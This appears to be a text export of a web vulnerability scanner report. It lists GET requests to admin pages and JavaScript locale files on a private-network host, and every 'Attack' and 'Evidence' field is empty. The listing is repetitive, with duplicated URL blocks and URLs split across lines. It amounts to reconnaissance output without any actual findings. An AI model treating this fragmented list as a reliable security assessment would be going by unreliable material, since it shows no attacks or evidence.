URL http://192.168.1.10/admin/assets/css/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/?C=N;O=D

Method GET

Attack

Evidence
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URL http://192.168.1.10/admin/assets/css/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/boots.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/bootstrap-datetimepicker.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/bootstrap-responsive.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/bootstrap-theme.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/bootstrap-theme.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/bootstrap.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/bootstrap.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/bootstrap.min.css
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URL http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.bg.js

Method GET

Attack

Evidence
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URL http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.da.js

Method GET
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URL http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.hu.js
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Attack

Evidence
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URL http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.sk.js

Method GET

Attack

Evidence
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URL http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.th.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.tr.js

Method GET

http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.ro.js
http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.rs.js
http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.ru.js
http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.sk.js
http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.sl.js
http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.sv.js
http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.sw.js
http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.th.js
http://192.168.1.10/admin/assets/css/locales/bootstrap-datetimepicker.tr.js
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Method GET
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URL http://192.168.1.10:80//admin/ADMIN/ADS/
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URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement.php
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URL http://192.168.1.10:80//admin/ADMIN/ADS/js/locales/bootstrap-datetimepicker.bg.js
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URL http://192.168.1.10:80//admin/ADMIN/ADS/js/locales/bootstrap-datetimepicker.sv.js
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Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.fr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.he.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.hr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.hu.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.id.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.is.js

Method GET

Attack

Evidence

http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ee.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.el.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.es.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.fi.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.fr.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.he.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.hr.js
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http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.id.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.is.js


URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.it.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ja.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.kr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.lt.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.lv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ms.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.nb.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.nl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.no.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.pt-BR.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.pt.js

http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.it.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ja.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.kr.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.lt.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.lv.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ms.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.nb.js
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http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.no.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.pt-BR.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.pt.js


Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ro.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.rs-latin.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.rs.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ru.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.sk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.sl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.sv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.sw.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.th.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.tr.js

Method GET

http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ro.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.rs.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ru.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.sk.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.sl.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.sv.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.sw.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.th.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.tr.js


Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ua.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.uk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.zh-CN.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.zh-TW.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/print_products.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/print_products1.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/reports.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/reports1.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/AS/view_product.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.ua.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.uk.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.zh-CN.js
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/bootstrap-datetimepicker.zh-TW.js
http://192.168.1.10:80//admin/ADMIN/AS/print_products.php
http://192.168.1.10:80//admin/ADMIN/AS/print_products1.php
http://192.168.1.10:80//admin/ADMIN/AS/reports.php
http://192.168.1.10:80//admin/ADMIN/AS/reports1.php
http://192.168.1.10:80//admin/ADMIN/AS/view_product.php
http://192.168.1.10:80//admin/ADMIN/OOS/


Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/announcement_detail.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/confirm_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/confirmed_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/delete_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/index.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence

http://192.168.1.10:80//admin/ADMIN/OOS/announcement_detail.php
http://192.168.1.10:80//admin/ADMIN/OOS/confirm_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/confirmed_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/delete_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/index.php
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/
http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/DT_bootstrap.js


URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ar.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.bg.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ca.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.cs.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.da.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.de.js

Method GET

Attack

Evidence

http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ar.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.bg.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ca.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.cs.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.da.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.de.js


URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ee.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.el.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.es.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.fi.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.fr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.he.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.hr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.hu.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.id.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.is.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.it.js

http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ee.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.el.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.es.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.fi.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.fr.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.he.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.hr.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.hu.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.id.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.is.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.it.js


Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ja.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.kr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.lt.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.lv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ms.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.nb.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.nl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.no.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.pt-BR.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.pt.js

Method GET

http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ja.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.kr.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.lt.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.lv.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ms.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.nb.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.nl.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.no.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.pt-BR.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.pt.js


Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ro.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.rs-latin.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.rs.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ru.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.sk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.sl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.sv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.sw.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.th.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.tr.js

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ro.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.rs.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ru.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.sk.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.sl.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.sv.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.sw.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.th.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.tr.js


Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ua.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.uk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.zh-CN.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.zh-TW.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/orders.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/pending_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/print_orders.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/reports.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/view_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/OOS/view_order_notif.php

Method GET

Attack

Evidence

http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.ua.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.uk.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.zh-CN.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/bootstrap-datetimepicker.zh-TW.js
http://192.168.1.10:80//admin/ADMIN/OOS/orders.php
http://192.168.1.10:80//admin/ADMIN/OOS/pending_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/print_orders.php
http://192.168.1.10:80//admin/ADMIN/OOS/reports.php
http://192.168.1.10:80//admin/ADMIN/OOS/view_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/view_order_notif.php


URL http://192.168.1.10:80//admin/ADMIN/SERVER/add_new_user.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/add_new_user_type.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/admin_report.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Administrator_loginout.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/announcement.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/announcement_detail.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/Customer_list.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/index.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap-datetimepicker.js
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Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap.min.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/DT_bootstrap.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.min.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ar.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.bg.
js

Method GET

Attack
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URL js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.cs.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.da.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.de.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ee.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.el.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.es.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.fi.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.fr.js

Method GET
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Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.hr.
js

Method GET
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.hu.
js

Method GET
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.id.
js

Method GET
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.is.js

Method GET
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.it.js
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ja.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.kr.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.lt.js
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.lv.js
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Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ms.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.nb.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.nl.
js
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Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.no.
js
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Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.pt-
BR.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.pt.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ro.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.rs-
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Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ru.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sk.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sl.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sv.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sw.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.th.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.tr.js

Method GET

Attack
